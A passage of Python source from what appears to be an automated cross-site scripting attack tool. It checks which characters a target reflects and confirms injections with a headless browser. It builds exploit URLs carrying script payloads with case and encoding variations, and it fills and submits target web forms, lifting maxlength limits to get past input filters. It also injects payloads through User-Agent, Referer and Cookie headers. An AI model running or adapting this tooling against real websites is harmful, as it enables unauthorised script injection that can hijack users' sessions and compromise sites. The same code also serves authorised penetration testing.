  1301. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  1302. elif heuristic_param == "&#47":
  1303. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  1304. elif heuristic_param == "&#62":
  1305. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  1306. elif heuristic_param == "&#60":
  1307. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  1308. elif heuristic_param == "&#59":
  1309. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  1310. elif heuristic_param == "&#39":
  1311. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  1312. elif heuristic_param == "&#34":
  1313. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  1314. elif heuristic_param == "&#61":
  1315. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  1316. self.add_success(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # success!
  1317. else:
  1318. if heuristic_param == "\\":
  1319. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1320. elif heuristic_param == "/":
  1321. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1322. elif heuristic_param == ">":
  1323. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1324. elif heuristic_param == "<":
  1325. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1326. elif heuristic_param == ";":
  1327. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1328. elif heuristic_param == "'":
  1329. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1330. elif heuristic_param == '"':
  1331. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1332. elif heuristic_param == "=":
  1333. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1334. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1335. elif self.options.hash:
  1336. for key, value in self.final_hashes.items():
  1337. if str(key) in dest_url:
  1338. if key in curl_handle.body():
  1339. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1340. else:
  1341. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1342. else:
  1343. for key, value in self.final_hashes.items():
  1344. if key in current_hashes:
  1345. if "XSA" in value:
  1346. method = "XSA"
  1347. hashing = key
  1348. elif "XSR" in value:
  1349. method = "XSR"
  1350. hashing = key
  1351. elif "COO" in value:
  1352. method = "COO"
  1353. hashing = key
  1354. else:
  1355. method = value
  1356. hashing = key
  1357. if not hashing:
  1358. pass
  1359. else:
  1360. if hashing not in dest_url:
  1361. if key in current_hashes:
  1362. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1363. b64_string = payload["payload"].split("[B64]")
  1364. b64_string = b64_string[1]
  1365. b64_string = b64_string.replace('PAYLOAD', key)
  1366. b64_string = b64encode(b64_string)
  1367. b64_string = urllib.parse.urlencode({'':b64_string})
  1368. if b64_string.startswith("="):
  1369. b64_string = b64_string.replace("=", "")
  1370. if str(b64_string) in str(dest_url):
  1371. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1372. else:
  1373. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1374. else:
  1375. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1376. self.report("")
  1377. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1378. options = self.options
  1379. c_info = str(curl_handle.info())
  1380. c_body = str(curl_handle.body())
  1381. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1382. b64_string = payload["payload"].split("[B64]")
  1383. b64_string = b64_string[1]
  1384. b64_string = b64_string.replace('PAYLOAD', hashing)
  1385. b64_string = b64encode(b64_string)
  1386. if b64_string.startswith("="):
  1387. b64_string = b64_string.replace("=", "")
  1388. hashing = b64_string
  1389. if payload['browser'] == "[Document Object Model Injection]":
  1390. self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
  1391. else:
  1392. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1393. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1394. else:
  1395. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1396. def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
  1397. if self.cookie_set_flag == False:
  1398. self.generate_headless_cookies(orig_url)
  1399. self.cookie_set_flag = True # cookie has been set!
  1400. try:
  1401. self.driver.get(dest_url) # GET
  1402. src = self.driver.page_source
  1403. except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException
  1404. if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
  1405. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1406. self.token_arrived_hashes.append(hashing) # add token/hashing for counting
  1407. else:
  1408. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1409. else:
  1410. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1411. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
  1412. if str(self.options.discode) in c_body: # provided by user
  1413. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1414. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1415. else:
  1416. if str('&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1417. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1418. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1419. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1420. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1421. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1422. else:
  1423. if self.options.discode:
  1424. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1425. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1426. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1427. """
  1428. Add an attack that failed to inject
  1429. """
  1430. if method == "heuristic":
  1431. self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1432. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1433. elif method == "hashing check":
  1434. self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1435. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1436. else:
  1437. self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
  1438. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1439. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1440. """
  1441. Add an attack that have managed to inject code
  1442. """
  1443. if method == "heuristic":
  1444. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1445. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1446. elif method == "hashing check":
  1447. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1448. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1449. else:
  1450. payload_sub = payload['payload']
  1451. self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
  1452. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1453. for reporter in self._reporters:
  1454. reporter.add_success(dest_url)
  1455. if self.options.reversecheck:
  1456. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1457. pass
  1458. else:
  1459. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1460. def create_headless_embed_browser(self): # selenium + firefox + gecko(bin)
  1461. agents = [] # user-agents
  1462. self.cookie_set_flag = False # used for cookie
  1463. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1464. for line in f:
  1465. agents.append(line)
  1466. try:
  1467. agent = random.choice(agents).strip() # set random user-agent
  1468. except:
  1469. agent = "Privoxy/1.0" # set static user-agent
  1470. try:
  1471. from selenium import webdriver
  1472. from selenium.webdriver.firefox.options import Options as FirefoxOptions
  1473. from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
  1474. except:
  1475. print("\n[Error] Importing: selenium lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-selenium'\n")
  1476. sys.exit(2)
  1477. try:
  1478. self.dom_browser_alert = UnexpectedAlertPresentException
  1479. profile = webdriver.FirefoxProfile()
  1480. profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
  1481. profile.set_preference('browser.safebrowsing.enabled', True)
  1482. profile.set_preference('toolkit.telemetry.enabled', False)
  1483. profile.set_preference('webdriver_accept_untrusted_certs', True)
  1484. profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
  1485. profile.set_preference('security.insecure_password.ui.enabled', False)
  1486. profile.set_preference('extensions.logging.enabled', False)
  1487. options = FirefoxOptions()
  1488. options.add_argument("-headless") # set Firefox (options) - headless mode
  1489. options.add_argument("-no-remote")
  1490. options.add_argument("-no-first-run")
  1491. options.add_argument("-app")
  1492. options.add_argument("-safe-mode")
  1493. current_dir = os.getcwd()
  1494. driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
  1495. except:
  1496. driver = None
  1497. self.token_arrived_flag = False
  1498. if DEBUG == True:
  1499. traceback.print_exc()
  1500. return driver
  1501. def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1502. if "VECTOR" in orig_url:
  1503. dest_url = orig_url
  1504. else:
  1505. if not dest_url.endswith("/"):
  1506. dest_url = dest_url + "/"
  1507. dest_url = orig_url + query_string
  1508. dest_url = dest_url.split("#")[0]
  1509. p_uri = urlparse(dest_url)
  1510. uri = p_uri.netloc
  1511. path = p_uri.path
  1512. target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
  1513. for key, value in target_params.items():
  1514. if key == vector_found: # only replace parameters with valid hashes
  1515. target_params[key] = payload['payload']
  1516. else:
  1517. target_params[key] = target_params[key][0]
  1518. target_url_params = urllib.parse.urlencode(target_params)
  1519. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1520. dest_url = urllib.parse.unquote(dest_url)
  1521. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1522. return tok_url
  1523. def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1524. if vector_found in dest_url:
  1525. v = dest_url.split(vector_found+"=")[1]
  1526. p = v.split("&")[0]
  1527. dest_url = dest_url.replace(p, payload['payload'])
  1528. dest_url = urllib.parse.unquote(dest_url)
  1529. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1530. return tok_url
  1531. def generate_token_exploit(self, hashing, dest_url, payload):
  1532. self_url = "http://localhost:19084/success/" + hashing
  1533. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1534. shadow_inj = "<SCrIpT>" + shadow_js_inj + "</ScRiPt>"
  1535. _e = self.encoding_permutations
  1536. if self.options.script: # manual injections
  1537. if 'XSS' in dest_url:
  1538. dest_url = dest_url.replace('XSS', hashing)
  1539. elif 'XS1' in dest_url:
  1540. dest_url = dest_url.replace('XS1', hashing)
  1541. if "'>" in dest_url:
  1542. dest_url = dest_url.split("'>")[0]
  1543. tok_url = dest_url + _e("'>" + shadow_inj)
  1544. tok_url += '#' + self_url
  1545. elif '">' in dest_url:
  1546. dest_url = dest_url.split('">')[0]
  1547. tok_url = dest_url + _e('">' + shadow_inj)
  1548. tok_url += '#' + self_url
  1549. elif 'onerror=' in dest_url:
  1550. dest_url = dest_url.split('onerror=')[0]
  1551. tok_url = dest_url + _e('onerror=' + shadow_js_inj + ">")
  1552. tok_url+= '#' + self_url
  1553. elif 'onError=' in dest_url:
  1554. dest_url = dest_url.split('onError=')[0]
  1555. tok_url = dest_url + _e('onError=' + shadow_js_inj + ">")
  1556. tok_url+= '#' + self_url
  1557. elif 'onload=' in dest_url:
  1558. dest_url = dest_url.split('onload=')[0]
  1559. tok_url = dest_url + _e('onload=' + shadow_js_inj + ">")
  1560. tok_url+= '#' + self_url
  1561. elif 'onLoad=' in dest_url:
  1562. dest_url = dest_url.split('onLoad=')[0]
  1563. tok_url = dest_url + _e('onLoad=' + shadow_js_inj + ">")
  1564. tok_url+= '#' + self_url
  1565. else:
  1566. tok_url = dest_url + "#" + self_url
  1567. else: # default + auto injections
  1568. if 'VECTOR' in dest_url:
  1569. dest_url = dest_url.replace('VECTOR', payload['payload'])
  1570. if '">PAYLOAD' in dest_url:
  1571. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1572. tok_url += '#' + self_url
  1573. elif "'>PAYLOAD" in dest_url:
  1574. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1575. tok_url += '#' + self_url
  1576. elif "javascript:PAYLOAD" in dest_url:
  1577. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1578. tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
  1579. tok_url+= '#' + self_url
  1580. elif '"PAYLOAD"' in dest_url:
  1581. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1582. elif "'PAYLOAD'" in dest_url:
  1583. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1584. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1585. tok_url = dest_url.replace('PAYLOAD', self_url)
  1586. elif "SCRIPT" in dest_url:
  1587. tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
  1588. tok_url += '#' + self_url
  1589. elif 'onerror="PAYLOAD"' in dest_url:
  1590. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1591. tok_url+= '#' + self_url
  1592. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1593. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1594. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
  1595. tok_url+= '#' + self_url
  1596. elif 'onError="PAYLOAD"' in dest_url:
  1597. tok_url = dest_url.replace('onError="PAYLOAD"', _e('onError="' + shadow_inj + '"'))
  1598. tok_url+= '#' + self_url
  1599. elif 'onError="javascript:PAYLOAD"' in dest_url:
  1600. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1601. tok_url = dest_url.replace('onError="javascript:PAYLOAD"', _e('onError="javascript:' + shadow_js_inj + '"'))
  1602. tok_url+= '#' + self_url
  1603. elif 'onload="PAYLOAD"' in dest_url:
  1604. tok_url = dest_url.replace('onload="PAYLOAD"', _e('onload="' + shadow_inj + '"'))
  1605. tok_url+= '#' + self_url
  1606. elif 'onload="javascript:PAYLOAD"' in dest_url:
  1607. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1608. tok_url = dest_url.replace('onload="javascript:PAYLOAD"', _e('onload="javascript:' + shadow_js_inj + '"'))
  1609. tok_url+= '#' + self_url
  1610. elif 'onLoad="PAYLOAD"' in dest_url:
  1611. tok_url = dest_url.replace('onLoad="PAYLOAD"', _e('onLoad="' + shadow_inj + '"'))
  1612. tok_url+= '#' + self_url
  1613. elif 'onLoad="javascript:PAYLOAD"' in dest_url:
  1614. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1615. tok_url = dest_url.replace('onLoad="javascript:PAYLOAD"', _e('onLoad="javascript:' + shadow_js_inj + '"'))
  1616. tok_url+= '#' + self_url
  1617. elif '<PAYLOAD>' in dest_url:
  1618. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1619. tok_url+= '#' + self_url
  1620. elif 'PAYLOAD' in dest_url:
  1621. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1622. tok_url+= '#' + self_url
  1623. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1624. tok_url = dest_url.replace('PAYLOAD', self_url)
  1625. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1626. tok_url = dest_url.replace('PAYLOAD', self_url)
  1627. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1628. tok_url = dest_url.replace('PAYLOAD', self_url)
  1629. else:
  1630. tok_url = dest_url + "#" + self_url
  1631. return tok_url
  1632. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
  1633. tok_url = None
  1634. tok_total = []
  1635. if self.hash_found:
  1636. for l in self.hash_found:
  1637. vector_found = l[2]
  1638. hash_found = l[3]
  1639. if hashing in hash_found:
  1640. if not self.options.postdata: # GET
  1641. tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1642. else: # POST
  1643. tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1644. if tok_url:
  1645. self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
  1646. def generate_headless_cookies(self, orig_url): # generate cookies for internal headless browser engine
  1647. self.driver.get(orig_url)
  1648. r_cookies = self.driver.get_cookies() # get cookies
  1649. if self.options.cookie:
  1650. cookie = SimpleCookie()
  1651. cookie.load(self.options.cookie)
  1652. for key, morsel in cookie.items():
  1653. for c in r_cookies:
  1654. if key == c["name"]:
  1655. c["value"] = str(morsel.value)
  1656. for c in r_cookies:
  1657. self.driver.add_cookie(c) # add cookies to driver
  1658. def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
  1659. try:
  1660. if self.cookie_set_flag == False:
  1661. if not self.options.postdata: # GET
  1662. self.generate_headless_cookies(tok_url) # send 'tok_url'
  1663. else: # POST
  1664. self.generate_headless_cookies(orig_url) # send 'orig_url'
  1665. self.cookie_set_flag = True # cookie has been set!
  1666. if self.options.postdata: # GET + web forms scrapping + POST
  1667. self.driver.get(orig_url) # GET request to store forms
  1668. tok_parsed = parse_qs(tok_url)
  1669. param_found = []
  1670. for param_parsed in tok_parsed: # find params
  1671. param = self.driver.find_element_by_name(param_parsed) # by name
  1672. if not param:
  1673. param = self.driver.find_element_by_id(param_parsed) # by id
  1674. if param:
  1675. value = str(tok_parsed[param_parsed])
  1676. if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
  1677. value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
  1678. if "<SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt>" in value:
  1679. value = value.replace("<SCrIpT>document.location=document.location.hash.substring(1)", "<SCrIpT src='http://localhost:19084/success/"+str(hashing)+"'>")
  1680. if "['" in value:
  1681. value = value.replace("['", "")
  1682. if "']" in value:
  1683. value = value.replace("']", "")
  1684. param.send_keys(str(value))
  1685. param_found.append(param)
  1686. max_length = param.get_attribute("maxlength")
  1687. if max_length: # bypass max length filters by changing DOM | black magic!
  1688. self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
  1689. if len(param_found) == len(tok_parsed): # form fully filled!
  1690. login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
  1691. login.click() # click it!
  1692. else: # GET
  1693. self.driver.get(tok_url)
  1694. if tok_url not in self.final_attacks:
  1695. self.final_attacks[hashing] = {'url': tok_url}
  1696. self.token_arrived_flag = True
  1697. else:
  1698. self.token_arrived_flag = False
  1699. except:
  1700. self.token_arrived_flag = False
  1701. if DEBUG == True:
  1702. traceback.print_exc()
  1703. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1704. query_string, orig_url):
  1705. """
  1706. report connection failure of an attack
  1707. """
  1708. options = self.options
  1709. current_hashes = [] # to check for ongoing hashes
  1710. if payload['browser'] == "[Heuristic test]":
  1711. for key, value in self.hashed_injections.items():
  1712. if str(key) in dest_url:
  1713. if key not in current_hashes:
  1714. self.final_hashes[key] = value
  1715. current_hashes.append(key)
  1716. elif self.options.hash:
  1717. for key, value in self.hashed_injections.items():
  1718. self.final_hashes[key] = value
  1719. current_hashes.append(key)
  1720. else:
  1721. self.report("-"*45)
  1722. self.report("\n[!] Hashing: \n")
  1723. for key, value in self.hashed_injections.items():
  1724. if str(key) in str(dest_url):
  1725. if key not in current_hashes:
  1726. self.report(" [ " +key+" ] : [" , value + " ]")
  1727. self.final_hashes[key] = value
  1728. current_hashes.append(key)
  1729. else:
  1730. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1731. b64_string = payload["payload"].split("[B64]")
  1732. b64_string = b64_string[1]
  1733. b64_string = b64_string.replace('PAYLOAD', key)
  1734. b64_string = b64encode(b64_string)
  1735. b64_string = urllib.parse.urlencode({'':b64_string})
  1736. if b64_string.startswith("="):
  1737. b64_string = b64_string.replace("=", "")
  1738. if str(b64_string) in str(dest_url):
  1739. if key not in current_hashes:
  1740. self.report(" [ " +key+" ] : [" , value + " ]")
  1741. self.final_hashes[key] = value
  1742. current_hashes.append(key)
  1743. else: # when using encoders (Str, Hex, Dec...)
  1744. if self.options.Str or self.options.Une or self.options.Mix or self.options.Dec or self.options.Hex or self.options.Hes or self.options.Cem:
  1745. if "PAYLOAD" in payload["payload"]:
  1746. payload_string = payload["payload"].replace("PAYLOAD", key)
  1747. elif "VECTOR" in payload["payload"]:
  1748. payload_string = payload["payload"].replace("VECTOR", key)
  1749. elif "XSS" in payload["payload"]:
  1750. payload_string = payload["payload"].replace("XSS", key)
  1751. elif "X1S" in payload["payload"]:
  1752. payload_string = payload["payload"].replace("X1S", key)
  1753. if self.options.Cem:
  1754. enc_perm = options.Cem.split(",")
  1755. for e in enc_perm:
  1756. hashed_payload = self.encoding_permutations(payload_string)
  1757. if e == "Str":
  1758. hashed_payload = hashed_payload.replace(",", "%2C")
  1759. dest_url = dest_url.replace(",", "%2C")
  1760. if e == "Mix":
  1761. hashed_payload=urllib.parse.quote(hashed_payload)
  1762. dest_url = urllib.parse.quote(dest_url)
  1763. if e == "Dec":
  1764. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1765. dest_url = dest_url.replace("&#", "%26%23")
  1766. if e == "Hex":
  1767. hashed_payload = hashed_payload.replace("%", "%25")
  1768. dest_url = dest_url.replace("%", "%25")
  1769. if e == "Hes":
  1770. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1771. hashed_payload = hashed_payload.replace(";", "%3B")
  1772. dest_url = dest_url.replace("&#", "%26%23")
  1773. dest_url = dest_url.replace(";", "%3B")
  1774. else:
  1775. hashed_payload = self.encoding_permutations(payload_string)
  1776. if self.options.Str:
  1777. hashed_payload = hashed_payload.replace(",", "%2C")
  1778. dest_url = dest_url.replace(",", "%2C")
  1779. if self.options.Mix:
  1780. hashed_payload=urllib.parse.quote(hashed_payload)
  1781. dest_url = urllib.parse.quote(dest_url)
  1782. if self.options.Dec:
  1783. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1784. dest_url = dest_url.replace("&#", "%26%23")
  1785. if self.options.Hex:
  1786. hashed_payload = hashed_payload.replace("%", "%25")
  1787. dest_url = dest_url.replace("%", "%25")
  1788. if self.options.Hes:
  1789. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1790. hashed_payload = hashed_payload.replace(";", "%3B")
  1791. dest_url = dest_url.replace("&#", "%26%23")
  1792. dest_url = dest_url.replace(";", "%3B")
  1793. if str(hashed_payload) in str(dest_url):
  1794. if key not in current_hashes:
  1795. self.report(" [ " +key+" ] : [" , value + " ]")
  1796. self.final_hashes[key] = value
  1797. current_hashes.append(key)
  1798. if self.extra_hashed_injections:
  1799. for k, v in self.extra_hashed_injections.items():
  1800. payload_url = str(v[1])
  1801. if payload_url == payload["payload"]:
  1802. if k not in current_hashes:
  1803. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1804. self.final_hashes[k] = v[0]
  1805. current_hashes.append(k)
  1806. self.report("\n"+"-"*45+"\n")
  1807. if payload['browser'] == "[Heuristic test]":
  1808. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1809. else:
  1810. if self.extra_hashed_injections:
  1811. extra_attacks=[]
  1812. if options.xsa:
  1813. extra_attacks.append("XSA")
  1814. if options.xsr:
  1815. extra_attacks.append("XSR")
  1816. if options.coo:
  1817. extra_attacks.append("COO")
  1818. if extra_attacks:
  1819. extra_attacks = "+ "+ str(extra_attacks)
  1820. if options.postdata:
  1821. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1822. else:
  1823. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1824. else:
  1825. if options.postdata:
  1826. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1827. else:
  1828. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1829. if not self.options.hash and not self.options.script:
  1830. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1831. pass
  1832. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1833. pass
  1834. else:
  1835. if not "XSS" in dest_url or not "X1S" in dest_url:
  1836. if self.options.xsa or self.options.xsr or self.options.coo:
  1837. pass
  1838. else:
  1839. self.report("-"*45)
  1840. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1841. if not self.options.verbose:
  1842. self.report("-"*45 + "\n")
  1843. else:
  1844. self.report("-"*45)
  1845. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1846. if not self.options.verbose:
  1847. self.report("-"*45 + "\n")
  1848. # statistics injections counters
  1849. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1850. self.check_positives = self.check_positives + 1
  1851. elif payload['browser']=="[Data Control Protocol Injection]":
  1852. self.dcp_injection = self.dcp_injection + 1
  1853. elif payload['browser']=="[Document Object Model Injection]":
  1854. self.dom_injection = self.dom_injection + 1
  1855. elif payload['browser']=="[Induced Injection]":
  1856. self.httpsr_injection = self.httpsr_injection + 1
  1857. elif payload['browser']=="[manual_injection]":
  1858. self.manual_injection = self.manual_injection + 1
  1859. else:
  1860. self.auto_injection = self.auto_injection +1
  1861. if not self.hashed_injections:
  1862. for k, v in self.extra_hashed_injections.items():
  1863. if k in current_hashes:
  1864. if v[0] == "XSA":
  1865. agent = v[1]
  1866. agent = agent.replace("PAYLOAD", k)
  1867. Curl.agent = agent
  1868. if v[0] == "XSR":
  1869. referer = v[1]
  1870. referer = referer.replace("PAYLOAD", k)
  1871. Curl.referer = referer
  1872. if v[0] == "COO":
  1873. cookie = v[1]
  1874. cookie = cookie.replace("PAYLOAD", k)
  1875. Curl.cookie = cookie
  1876. else:
  1877. for key, value in self.hashed_injections.items():
  1878. for k, v in self.extra_hashed_injections.items():
  1879. payload_url = v[1]
  1880. payload_url = payload_url.replace("PAYLOAD",key)
  1881. payload_url = payload_url.replace(" ", "+") # black magic!
  1882. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1883. if payload_url in final_dest_url:
  1884. if v[0] == "XSA":
  1885. agent = v[1]
  1886. agent = agent.replace("PAYLOAD", k)
  1887. Curl.agent = agent
  1888. if v[0] == "XSR":
  1889. referer = v[1]
  1890. referer = referer.replace("PAYLOAD", k)
  1891. Curl.referer = referer
  1892. if v[0] == "COO":
  1893. cookie = v[1]
  1894. cookie = cookie.replace("PAYLOAD", k)
  1895. Curl.cookie = cookie
  1896. else:
  1897. if k in current_hashes:
  1898. if v[0] == "XSA":
  1899. agent = v[1]
  1900. agent = agent.replace("PAYLOAD", k)
  1901. Curl.agent = agent
  1902. if v[0] == "XSR":
  1903. referer = v[1]
  1904. referer = referer.replace("PAYLOAD", k)
  1905. Curl.referer = referer
  1906. if v[0] == "COO":
  1907. cookie = v[1]
  1908. cookie = cookie.replace("PAYLOAD", k)
  1909. Curl.cookie = cookie
  1910. if options.verbose:
  1911. self.report("-"*45)
  1912. self.report("\n[+] HTTP Headers Verbose:\n")
  1913. self.report(" [Client Request]")
  1914. Curl.print_options()
  1915. self.report(" [Server Reply]\n")
  1916. self.report(curl_handle.info())
  1917. self.report("="*45)
  1918. self.report("[*] Injection(s) Results:")
  1919. self.report("="*45 + "\n")
  1920. if payload['browser']=="[Heuristic test]":
  1921. for key, value in self.final_hashes.items():
  1922. if str(key) in dest_url:
  1923. heuristic_string = key
  1924. heuristic_param = str(payload['payload']).strip('XSS')
  1925. if heuristic_param == "\\":
  1926. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1927. elif heuristic_param == "/":
  1928. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1929. elif heuristic_param == ">":
  1930. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1931. elif heuristic_param == "<":
  1932. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1933. elif heuristic_param == ";":
  1934. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1935. elif heuristic_param == "'":
  1936. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1937. elif heuristic_param == '"':
